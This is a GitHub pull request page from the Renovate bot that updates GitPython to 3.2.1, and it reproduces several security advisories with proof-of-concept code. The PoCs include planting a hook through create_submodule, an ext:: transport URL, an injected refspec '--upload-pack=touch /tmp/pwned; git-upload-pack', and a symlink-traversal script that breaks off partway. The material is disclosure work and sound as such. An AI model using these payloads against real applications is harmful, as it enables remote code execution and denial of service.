GeezerVison is showing github.com — chore(deps): update dependency gitpython to v3.2.1 [security] by renovate[bot] · Pull Request #51 · InseeFrLab/GRAAL
Conversation
Note This PR body was truncated due to platform limits.
This PR contains the following updates:
GitPython validates a submodule's ".git" path only after cloning into it (RCE)
CVE-2026-114145 / GHSA-83vg-56qc-22m7
More information
Details
Summary
create_submodule(name, path, url) clones a submodule into the repo's own .git
directory before it rejects the path. A path of ".git/hooks" is accepted by the
pre-clone check, so the submodule is cloned straight into the live hooks directory,
and a file named post-checkout in the submodule becomes an executable
.git/hooks/post-checkout. On 3.2.0+ the later index check does raise ValueError,
but only after the clone already wrote to disk, and it does not remove the planted
hook; on 3.1.x there is no such check and the call succeeds silently. Either way the
hook runs on the next git operation (e.g. checkout), giving code execution.
Details
The checkout path is validated too late, after the clone has already mutated disk.
This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate
submodule checkout and metadata paths before mutation") set out to enforce.
Submodule.add() calls the permissive path check before cloning, and the strict check
only reaches the ".git" alias at index time, after _clone_repo has written to disk:
git/objects/submodule/base.py (Submodule.add)
599: path = cls._to_relative_path(repo, path) # accepts ".git/hooks"
673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into /.git/hooks
714: index.add([sm], write=True) # strict check only triggers here
git/index/base.py (IndexFile._preprocess_add_items)
732: _validate_repo_path(entry.path) # rejects ".git", too late
_to_relative_path only blocks ../absolute/out-of-tree paths; .git aliases are
rejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and
runs at the index boundary. The ValueError it raises at line 732 does not roll back
what _clone_repo already wrote.
Version-dependent behavior:
- 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the
hook is already on disk and is not removed (incorrect order of validation vs. clone).
- 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does
not reject .git; create_submodule(path=".git/hooks", ...) returns with no error at
all and the hook is planted silently.
Proof of concept
Setup:
evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload)
victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO
sample hooks (the state of a minimal/CI checkout, or git init with an empty
template dir, or GIT_TEMPLATE_DIR/init.templateDir empty)
import git, os.path as osp
try:
git.Repo("victim").create_submodule(name="x", path=".git/hooks", url=osp.abspath("evilsub"))
except ValueError:
pass # 3.2.0+: ".git" is rejected, but only AFTER the clone, so the plant already happened.
# 3.1.x: no exception is raised at all; the call succeeds and still plants the hook.
victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every
affected version. Any later checkout runs it:
git -C victim checkout -> the hook runs -> code execution
Verified live:
- tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from
git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and
git checkout executed it.
- 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted
and executed by git checkout.
Impact
Arbitrary code execution. A library/app that creates a submodule from an
attacker-influenced path ends up with an attacker-controlled executable in
.git/hooks, which git runs on ordinary later operations. This affects any service
that derives a submodule checkout path from untrusted data, e.g. one that ingests a
submodule spec (name/path/url) from a user-supplied manifest or API request and feeds
path into create_submodule. On 3.2.0+ the library's own validation is the thing that
fails: it correctly rejects the .git path, but only after the submodule has already
been cloned into place, so an app that traps the ValueError reasonably believes the
unsafe path was blocked.
Preconditions (hence AC:H): (1) the app passes an attacker-influenced submodule path;
(2) the target hook name is free in .git/hooks, true for minimal/CI/container
checkouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default
sample hooks present, git clone refuses the non-empty destination and no plant occurs.
Affected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08
(3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.
Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
GHSA-m64x-33q8-m5h7
More information
Details
Summary
This is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made Actor._from_string regex-free, but parse_actor_and_date still runs _re_actor_epoch on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.
Details
git/objects/util.py:322:
_re_actor_epoch = re.compile(r"^.+? (.*) (\d+) ([+-]\d+).*$")
.+? and (.*) can both absorb the same run of spaces, and the required (\d+) ([+-]\d+) tail is only checked after them. On a long line with no valid tail, the search retries every split point.
It is called from parse_actor_and_date (git/objects/util.py:335), which runs on the author and committer lines in Commit._deserialize (git/objects/commit.py:917, :931) and on the tagger line in git/objects/tag.py:129.
The published payload (letters plus an unterminated <) is fast on 3.1.62. Replacing the letters with spaces is not:
author line (after author ) |
2 KB |
8 KB |
32 KB |
'a'*n + ' <' (advisory payload) |
0.0 ms |
0.1 ms |
0.4 ms |
' '*n |
28 ms |
453 ms |
7,700 ms |
| valid line, long name (control) |
0.0 ms |
0.0 ms |
0.0 ms |
Cost grows about 16x for each 4x increase in length.
PoC
import time
from git.objects.util import parse_actor_and_date
line = "author " + " " * 32000
t = time.perf_counter()
parse_actor_and_date(line)
print(f"{time.perf_counter() - t:.1f} s") # ~7 s on 3.1.62
End to end, reading Commit.author on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid 1191999972 -0700 tail takes 1.3 ms.
Note for reproducing: git hash-object -t commit -w refuses such an object (missingEmail), so the test object was written with --literally. A remote can still serve one, because fetch.fsckObjects and transfer.fsckObjects default to false. This is the same delivery model as CVE-2026-87819 ("craft a commit object with a malformed author field").
Impact
CPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to Commit.author, Commit.committer or TagObject.tagger on a crafted object costs seconds, and a repository can contain many such objects.
Suggested fix
Match the leading field name with .[^ ]* instead of .+?. Both stop at the first space after the first character, but .[^ ]* cannot overlap the following (.*), so the backtracking disappears:
_re_actor_epoch = re.compile(r"^.[^ ]* (.*) (\d+) ([+-]\d+).*$")
_re_only_actor = re.compile(r"^.[^ ]* (.*)$")
Verification on current main (73a72c9):
- Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex.
' '*n at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).
- The existing test suite gives the same pass/fail set with and without the change
- The new regression test,
test_parse_actor_and_date_malformed_line_is_linear, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).
The full patch (fix plus regression test) is attached below.
diff --git a/git/objects/util.py b/git/objects/util.py
index a68d701f..d8c0594d 100644
--- a/git/objects/util.py
+++ b/git/objects/util.py
@@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -> Tuple[int, int]:
# Precompiled regexes
-_re_actor_epoch = re.compile(r"^.+? (.*) (\d+) ([+-]\d+).*$")
-_re_only_actor = re.compile(r"^.+? (.*)$")
+# The leading field name ("author", "committer", "tagger") is matched with ``.[^ ]*`` rather than
+# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the
+# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically.
+_re_actor_epoch = re.compile(r"^.[^ ]* (.*) (\d+) ([+-]\d+).*$")
+_re_only_actor = re.compile(r"^.[^ ]* (.*)$")
def parse_actor_and_date(line: str) -> Tuple[Actor, int, int]:
diff --git a/test/test_util.py b/test/test_util.py
index cf4299d5..e1631420 100644
--- a/test/test_util.py
+++ b/test/test_util.py
@@ -22,6 +22,7 @@ from git.cmd import dashify
from git.objects.util import (
altz_to_utctz_str,
from_timestamp,
+ parse_actor_and_date,
parse_date,
tzoffset,
utctz_to_altz,
@@ -571,6 +572,30 @@ class TestUtils(TestBase):
Actor("name last another", "[email protected]"),
)
+ def test_parse_actor_and_date_malformed_line_is_linear(self):
+ # A long author line whose trailing epoch/offset is missing or malformed used to make
+ # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line.
+ # The parse result must be unchanged; only the time spent reaching it should move.
+ for tail in ("", " notanumber -0700", " 1191999972", " -0700", " 1191999972 xx"):
+ line = "author " + " " * 32000 + tail
+ start = time.perf_counter()
+ actor, epoch, offset = parse_actor_and_date(line)
+ self.assertLess(time.perf_counter() - start, 1.0)
+ self.assertEqual(epoch, 0)
+ self.assertEqual(offset, 0)
+
+ # Well-formed lines, including one with a long name, still parse exactly as before.
+ actor, epoch, offset = parse_actor_and_date(
+ "author Tom Preston-Werner <[email protected]> 1191999972 -0700"
+ )
+ self.assertEqual(actor, Actor("Tom Preston-Werner", "[email protected]"))
+ self.assertEqual(epoch, 1191999972)
+ self.assertEqual(offset, 25200)
+
+ actor, epoch, offset = parse_actor_and_date("author " + "a " * 16000 + "<a@b> 1 -0700")
+ self.assertEqual(actor.email, "a@b")
+ self.assertEqual(epoch, 1)
+
@ddt.data(
("name", ""),
("name", "prefix_"),
Found with AI assistance (Claude) and verified by hand.
Brian Willows
Severity
- CVSS Score: 8.7 / 10 (High)
- Vector String:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name
GHSA-fx3j-rwgx-fr94
More information
Details
Summary
Repo._clone()'s handling of separate_git_dir never disables Git.polish_url()'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Since separate_git_dir can be derived from an attacker-controlled .gitmodules submodule name, a completely ordinary clone + submodule_update(init=True, recursive=True) on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in a Popen(...) log line that is not redacted the way credential-bearing arguments are.
Root cause / Details
git/repo/base.py's _clone() has:
sep_dir = kwargs.get("separate_git_dir")
if sep_dir:
kwargs["separate_git_dir"] = Git.polish_url(sep_dir)
This is the only remaining Git.polish_url() call site handling attacker-influenced data that does not pass expand_vars=False (there is one other unguarded call site, clone_path at line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes for GHSA-94p4-4cq8-9g67/GHSA-rwj8-pgh3-r573 added expand_vars=False to clone_url (5 lines below this one, in the same function), git/repo/base.py:1599, remote.py:814, and submodule/base.py:686 — this one did not receive it. (submodule/root.py also currently sets expand_vars=False at a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.) Git.polish_url()'s docstring itself says: "Disable this for values obtained from an untrusted source, such as remote URLs." Its non-Cygwin branch does plain os.path.expandvars() on the entire string, including embedded variables anywhere in an absolute path.
separate_git_dir reaches _clone() from Submodule._clone_repo() (git/objects/submodule/base.py) as module_abspath = osp.join(parent_repo.git_dir, "modules", name), where name is the raw .gitmodules submodule section name — fully attacker-controlled content of a cloned repository. _validated_name() (added by the fix for GHSA-hmq2-w58f-27jc) only rejects names that are absolute, contain a drive letter, or contain .. path components; it does not reject $. _need_gitfile_submodules() is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation.
Reproduction (live, against real, unmodified GitPython code, no monkeypatching)
Built a hostile repository with a plain, ordinary git command: git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub. Set an environment variable in the "victim" process (standing in for a real CI secret such as AWS_SECRET_ACCESS_KEY): GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345. Then ran the exact ordinary workflow the GHSA-hmq2-w58f-27jc advisory's own PoC also uses:
repo = Repo.clone_from(evil_parent_url, victim_clone_dir)
repo.submodule_update(init=True, recursive=True)
Observed result (ls .git/modules/):
.git/modules/AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345/ (a full git repo: HEAD, config, objects/, refs/, hooks/)
The literal $GPY_SECRET_MARKER-named directory was never created — only the expanded one exists, proving expansion happened before the value reached the git clone --separate-git-dir=... subprocess argument. The persistent, expanded-name directory under .git/modules/ is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with the git.cmd/git.repo.base loggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's own Popen(...) debug log line prints the fully expanded --separate-git-dir=<value> subprocess argument verbatim — remove_password_if_present() only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with an OSError/FileNotFoundError referencing the original, unexpanded name, since _write_git_file_and_module_config() looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.)
Control: the same call with an ordinary (no $) submodule name succeeds normally and creates .git/modules/<name> as expected — isolating the gap to submodule names containing environment-variable syntax specifically.
Already-known check
Checked all 35 published gitpython-developers/GitPython security advisories in full text. GHSA-hmq2-w58f-27jc covers the same name → .git/modules/<name> path but for path-traversal (../../..), not variable expansion. GHSA-59cr-6r3x-644w covers the sibling path field reaching unguarded os.makedirs(). GHSA-94p4-4cq8-9g67/GHSA-rwj8-pgh3-r573 cover expand_vars, but only on URL arguments. git log -p -S "separate_git_dir" -- git/repo/base.py shows neither fix commit touches this line; it is unchanged since its 2016 introduction (commit 57d05379).
The closest topical match is GHSA-8mcc-hrx5-hvxc ("clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options") — already fixed, and its own text discusses this same _clone() handling of separate_git_dir. That fix only added --separate-git-dir to the unsafe_git_clone_options denylist, which gates the direct-kwarg vector; Submodule._clone_repo() explicitly sets allow_unsafe_options=True for the gitfile-submodules path, unconditionally bypassing that exact denylist (confirmed: the reproduction above succeeds against current main, which already has that fix). The bug this report describes is independent of that denylist — the value itself is expanded via os.path.expandvars() regardless of the denylist outcome — so the two are distinct, but flagging the relationship explicitly since a reviewer would otherwise reasonably ask about it.
No advisory describes environment-variable expansion via the internal separate_git_dir path.
Suggested fix
Add expand_vars=False to the Git.polish_url(sep_dir) call in _clone(), matching the four other call sites already fixed for the same class of issue.
Verification level
Reproduced in a real environment: plain Linux, unmodified GitPython from current main, real git ≥ 1.7.5 behavior, an ordinary git submodule add + clone + submodule_update(init=True, recursive=True) workflow with no non-default configuration or monkeypatching required. Causation isolated via a control group (identical workflow, ordinary submodule name, no expansion).
AI Use Disclosure
AI (Claude) was used as a tool under my direction for code review, code summarization, and script development. A human reviewed and verified the AI-generated results before submission.
Credit: please use "baeseungwon1010" (github.com/baeseungwon1010).
Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython command wrappers omit unsafe protocol and option checks
GHSA-w8jc-g24h-crhw
More information
Details
Summary
GitPython has spent 2022-2026 rolling out two reusable guards method-by-method: Git.check_unsafe_protocols(url) (raises UnsafeProtocolError for <transport>:: remote-helper URLs - CVE-2022-24439) and Git.check_unsafe_options(...) (raises UnsafeOptionError for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a git argv from caller-controlled values still have neither:
Git.ls_remote (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no allow_unsafe_protocols parameter exists. The same URL through clone_from raises UnsafeProtocolError.
Repo.merge_base (git/repo/base.py:895-936) - forwards **kwargs/*rev to self.git.merge_base with no guard; guarded sibling iter_commits sits 12 lines up. Its exception handler additionally swallows every non-128 GitCommandError into [], masking the injection.
IndexFile.move (git/index/base.py:1092-1168) - forwards **kwargs to git mv twice (:1147, :1167); guarded sibling remove() is 23 lines above.
Verified unfixed on main @ a54d159 (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.
Impact
Site 1 (ls_remote) - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (Git(...).ls_remote(attacker_url)) with an ext::sh -c ... URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with protocol.ext.allow=always (marker executed). git >= 2.38.1 stock config refuses the transport (fatal: transport 'ext' not allowed, rc 128) - GitPython adds no defense-in-depth and surfaces a bare GitCommandError. Environments on git < 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.
Sites 2/3 - latent argument-injection surface: caller kwargs flow 1:1 into the git argv before operands and -- (cmd.py:1850 opt_args + ext_args), and execute_kwargs (incl. shell=True/env - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today git merge-base/git mv expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.
Dynamic verification (today; GitPython main @ a54d159, git 2.55.0, Linux)
| # |
Call |
Result |
| T1 |
repo.git.ls_remote('ext::/tmp/gp_touch.sh'), stock config |
git refuses (rc 128); no UnsafeProtocolError from GitPython |
| T1b |
same + victim config protocol.ext.allow=always |
marker created - arbitrary command executed |
| T2 |
repo.git.ls_remote('.', upload_pack=...) |
blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap) |
| T3 |
repo.merge_base('main','side', upload_pack=...) |
not blocked; argv git merge-base --upload-pack=... main side; rc 129 silently converted to [] |
| T4 |
repo.index.move(['f1','f2'], output=...) |
not blocked; option reaches git mv (rc 129) |
Coverage matrix (main @ a54d159)
check_unsafe_protocols: 7 call sites (_clone, archive, set_url, create, fetch, pull, push) - none on ls_remote.
check_unsafe_options: 24 call sites incl. ls_remote, iter_commits, IndexFile.remove - absent on merge_base and move.
Precedents (same repo, same guard family)
- CVE-2022-24439 / GHSA-hcpj-qp55-gfph (critical):
check_unsafe_protocols on the clone path - Site 1 is the same ext:: primitive on a sibling API.
- CVE-2023-40267 / GHSA-pr76-5cm5-w9cj (critical, 'incomplete fix for CVE-2022-24439'):
check_unsafe_options - unguarded kwargs to argv treated as RCE (shell=True on Windows).
- CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026.
- CVE-2026-67323 / GHSA-956x-8gvw-wg5v (high, 8.4, fixed 3.1.51): added
check_unsafe_options to archive/ls_remote/iter_commits/blame; its PoC is literally repo.git.ls_remote('.', upload_pack=...). Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: ls_remote got options but not protocols; merge_base/move got neither.
Recommended fix (existing helpers, 1-3 lines per site)
Git.ls_remote: if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0]) + new allow_unsafe_protocols: bool = False (the _clone pattern, base.py:1536-1538).
Repo.merge_base: check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options) (the iter_commits pattern); stop masking non-128 statuses.
IndexFile.move: the remove() pattern with unsafe_git_pathspec_from_file_options.
One advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.
Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution
GHSA-f9j4-qggq-h239
More information
Details
Summary
Remote.pull() in GitPython forwards its positional refspec argument directly to the git pull child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the refspec (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as --upload-pack=<command>. The value bypasses the unsafe_git_pull_options check, is placed after the -- separator on the git pull command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (allow_unsafe_options=False).
Root Cause
Remote.pull() is documented to reject dangerous options unless allow_unsafe_options=True, and --upload-pack is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional refspec. The check builds its candidate list with Git._option_candidates([], kwargs), passing an empty list in place of the positionals, so the refspec value is never compared against unsafe_git_pull_options = ["--upload-pack"]. The normalized refspec is then forwarded verbatim to the git pull invocation. The leading -- separator that neutralizes an option-shaped refspec for git fetch and git push does not protect git pull, because git pull re-forwards its trailing positionals to an internal git fetch without re-inserting a -- separator, so the positional becomes an option to that internal fetch.
Affected function: git.remote.Remote.pull
Source: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull("--", self, refspec, ...) invocation)
Impact
An attacker who controls the refspec value passed to Remote.pull() achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the --upload-pack value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.
Proof of Concept
Environment: GitPython from the affected source tree; system git 2.43.0.
The pulled origin uses a local filesystem transport (protocol.file.allow=always for git >= 2.38).
Reproduction steps:
- Create an origin repository reachable over a local-path transport.
- In a consumer repository, register that origin and call
Remote.pull() with an attacker-controlled refspec.
- Observe that the injected command executes.
import git
repo = git.Repo("consumer") # has an origin using a local-path or ssh transport
origin = repo.remote("origin")
##### Attacker-controlled refspec value; default arguments (allow_unsafe_options=False):
origin.pull(refspec="--upload-pack=touch /tmp/pwned; git-upload-pack")
cmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack
[attack] marker created (RCE) : True
[isolate] upload_pack passed as KWARG blocked : True (only the positional refspec escapes)
[sibling] same value via git fetch : safe (pull-specific behavior)
[control] benign refspec : safe
Attack Chain
- Exposure: An application calls
Remote.pull(refspec=<value>) on the default path, where <value> is derived from attacker-influenced input such as a branch or refspec request parameter.
- Control: The attacker supplies the string
--upload-pack=<command>; git-upload-pack. The value passes through Git._unpack_args, which only flattens and stringifies it, preserving the option shape.
- Path: The protocol loop calls
Git.check_unsafe_protocols on the value, which only matches remote-helper transport URLs (a <transport>:: form) and does not flag an --upload-pack= token.
- Guard: The unsafe-option guard calls
check_unsafe_options(options=Git._option_candidates([], kwargs), ...). Because positionals are passed as an empty list, the positional refspec is never inspected against unsafe_git_pull_options.
- Primitive: The value is forwarded to
git pull -v -- <remote> --upload-pack=<command>; git-upload-pack; git pull re-forwards the positional to an internal git fetch without a -- separator, so it is honored as the upload-pack program.
- Result: For a local-path or SSH transport, git executes
<command> as the upload-pack program, giving arbitrary command execution as the calling process user.
Bypass Evidence
The relevant guard is Remote.pull()'s own check_unsafe_options call, present in the current released artifact. It is incomplete: it inspects Git._option_candidates([], kwargs), which only considers keyword arguments, so the positional refspec is never checked. This was confirmed empirically: passing the identical value as the upload_pack= keyword argument raises UnsafeOptionError, while passing it as the positional refspec does not, proving that only the positional escapes the guard.
The -- separator on the git pull command line was tested as a possible mitigation and refuted: with system git 2.43.0, git pull -- <remote> '--upload-pack=<cmd>' executed the injected command, while the identical value supplied to git fetch -- ... and git push -- ... did not execute, because those subcommands honor the -- terminator whereas git pull re-forwards positionals to an internal fetch without one. The check_unsafe_protocols transport check was also examined and does not flag the --upload-pack= token because it has no <transport>:: form. No prior published advisory for this package addresses Remote.pull, the fetch or pull refspec positional, or --upload-pack injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.
Affected Versions
Ecosystem: pip (PyPI)
Package: GitPython
Confirmed affected range: >= 3.1.30
Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag
Fix status: not fixed in any released version or on the development branch
The keyword-only pull guard together with the positional refspec sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped git/remote.py in each tagged artifact. Version 3.1.30 introduced the unsafe_git_pull_options guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the refspec positionally with no unsafe-option guard and no -- separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.
Suggested Fix
Enforce the unsafe-option invariant on the positional refspec, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into Git._option_candidates alongside kwargs) so that an option-shaped refspec such as --upload-pack=... is rejected with UnsafeOptionError unless allow_unsafe_options=True. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with -, avoid passing untrusted data as the refspec, and prefer HTTPS remotes where a client-supplied upload-pack program is inert.
Reported by zx (GitHub: @manus-pi).
Severity
- CVSS Score: 8.1 / 10 (High)
- Vector String:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree
GHSA-gq48-pqfc-9p58
More information
Details
Summary
GitPython's public Submodule.move() API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.
The reporter reproduced this on the latest release, GitPython 3.1.62, and current main. In the strict scenario, the repository commits vendor -> ../outside, while the consuming application independently passes the fixed literal vendor/module. Submodule.move() follows vendor, moves the initialized submodule checkout to outside/module, rewrites .gitmodules and the index to the symlinked path, and leaves the index unable to produce a tree.
The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.
Trust boundary and preconditions
The attacker controls:
- an untrusted Git repository that the application clones;
- a mode-
120000 tracked symlink named vendor;
- the initialized submodule's content.
The consuming application controls the call and uses a fixed layout rule:
submodule.move("vendor/module")
The trigger requires the application to initialize the submodule and later call Submodule.move() with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires core.symlinks=true with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.
Product and directly verified revisions
- Package:
GitPython (pip ecosystem)
- Latest release: 3.1.62, tag commit
db47516dac750c5968b8f6d388b18712c355df50
- Current
main: b62e91be897f687a622e40cd1e59c33dce45f124
- Relevant
git/objects/submodule/base.py SHA-256 in both revisions: a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c
- Upstream state rechecked: 2026-09-10 KST
Only these two revisions were directly tested.
Severity and weakness
The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.
For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, AV:N gives a conditional application-level score of 7.1. A fully automatic service may warrant a different UI assessment. The library report uses AV:L because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.
No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.
Reproducer
The following script creates only temporary local repositories and a self-generated canary. It passes protocol.file.allow=always separately with -c on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.
Run it from a fresh source checkout:
git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git
python3 poc.py /path/to/GitPython
python3 poc.py --absolute-link /path/to/GitPython
--absolute-link commits the temporary external directory's absolute path instead of ../outside.
#!/usr/bin/env python3
"""Local-only reproducer for GitPython Submodule.move() symlink traversal."""
from __future__ import annotations
import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Optional
def run_git(
*args: str, cwd: Optional[Path] = None, check: bool = True
) -> subprocess.CompletedProcess:
command = [
"git",
"-c",
"user.name=GitPython security fixture",
"-c",
"[email protected]",
"-c",
"protocol.file.allow=always",
*args,
]
return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)
def read_core_worktree(parent) -> str:
module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config"
return parent.git.config("--file", str(module_config), "--get", "core.worktree")
def read_gitmodules_path(parent) -> str:
modules_file = Path(parent.working_tree_dir) / ".gitmodules"
return parent.git.config(
"--file", str(modules_file), "--get", "submodule.logical-name.path"
)
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("source_root", type=Path, help="GitPython source checkout")
parser.add_argument(
"--absolute-link",
action="store_true",
help=(
"Use the temporary external directory's absolute path as the committed "
"symlink target"
),
)
args = parser.parse_args()
source_root = args.source_root.resolve()
# The tested GitPython source trees include gitdb and smmap at their roots.
sys.path[:0] = [
str(source_root),
str(source_root / "gitdb"),
str(source_root / "smmap"),
]
import gitdb # pylint: disable=import-outside-toplevel
import smmap # pylint: disable=import-outside-toplevel
from git import Repo # pylint: disable=import-outside-toplevel
with tempfile.TemporaryDirectory(prefix="gitpython-move-poc-") as temporary:
root = Path(temporary)
module_source = root / "module-source"
attacker = root / "attacker-parent"
victim = root / "victim-parent"
outside = root / "outside"
run_git("init", "--quiet", str(module_source))
(module_source / "SELF_GENERATED_CANARY.txt").write_text(
"SELF_GENERATED_CANARY\n", encoding="utf-8"
)
run_git("add", "SELF_GENERATED_CANARY.txt", cwd=module_source)
run_git("commit", "--quiet", "-m", "fixture", cwd=module_source)
outside.mkdir()
run_git("init", "--quiet", str(attacker))
run_git(
"submodule",
"add",
"--quiet",
"--name",
"logical-name",
str(module_source),
"module",
cwd=attacker,
)
link_target = str(outside.resolve()) if args.absolute_link else "../outside"
(attacker / "vendor").symlink_to(link_target, target_is_directory=True)
run_git("add", ".gitmodules", "module", "vendor", cwd=attacker)
run_git("commit", "--quiet", "-m", "attacker-controlled layout", cwd=attacker)
run_git("clone", "--quiet", str(attacker), str(victim))
